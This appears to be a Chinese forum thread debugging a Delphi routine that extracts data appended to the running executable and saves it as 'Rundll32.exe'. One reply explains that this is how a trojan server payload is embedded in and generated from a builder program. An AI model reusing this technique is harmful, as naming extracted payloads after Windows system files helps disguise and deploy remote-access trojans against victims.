procedure TForm1.sverClick(Sender: TObject);
var fme:TMemoryStream;
    clf:TfileStream;
    size:integer;
    stf:string;
begin
    stf:=ExtractFilePath(Paramstr(0))+'Rundll32.exe';
    if fileexists(stf) then deletefile(stf);
    fme:=TMemoryStream.Create;
    clf:=Tfilestream.Create(application.ExeName,fmShareDenyNone);
    try
        clf.Seek(-sizeof(size),soFromEnd);
        clf.ReadBuffer(size,sizeof(size));
        clf.Seek(-size,soFromEnd);
        fme.CopyFrom(clf,size-sizeof(size));//执行这句时总出现'stream read error'错误!
        fme.SaveToFile(stf);
    finally
        fme.Free;
        clf.Free;
    end;  form4.Visible :=true;
  FORM4.T1.Enabled :=TRUE;
  form1.Enabled :=false;
end;
问题:
fme.CopyFrom(clf,size-sizeof(size));//执行这句时总出现'stream read error'错误!请教高手

解决方案 »

  1.   

    先不要问为什么,首先检查一下,存在最末尾的Size是否准确。至少来说要符合条件size<=clf.Size+sizeof(size)
      

  2.   

    ……
    想在执行程序的尾部加数据?
    加了以后是正常的,不加当然会出错
    Size-SizeOf(Size)不能小于0
      

  3.   

    这是生成服务端木马程序  'Rundll32.exe'  过程这样:先抽取不含路径的文件名存入stf指针移动到指定的组件上读入字符缓冲区从另外一个流中复制指定数量的数据到当前流对象中将原始数据从数据缓冲区写入文件这样服务端就包含在客户端了  用于下次生成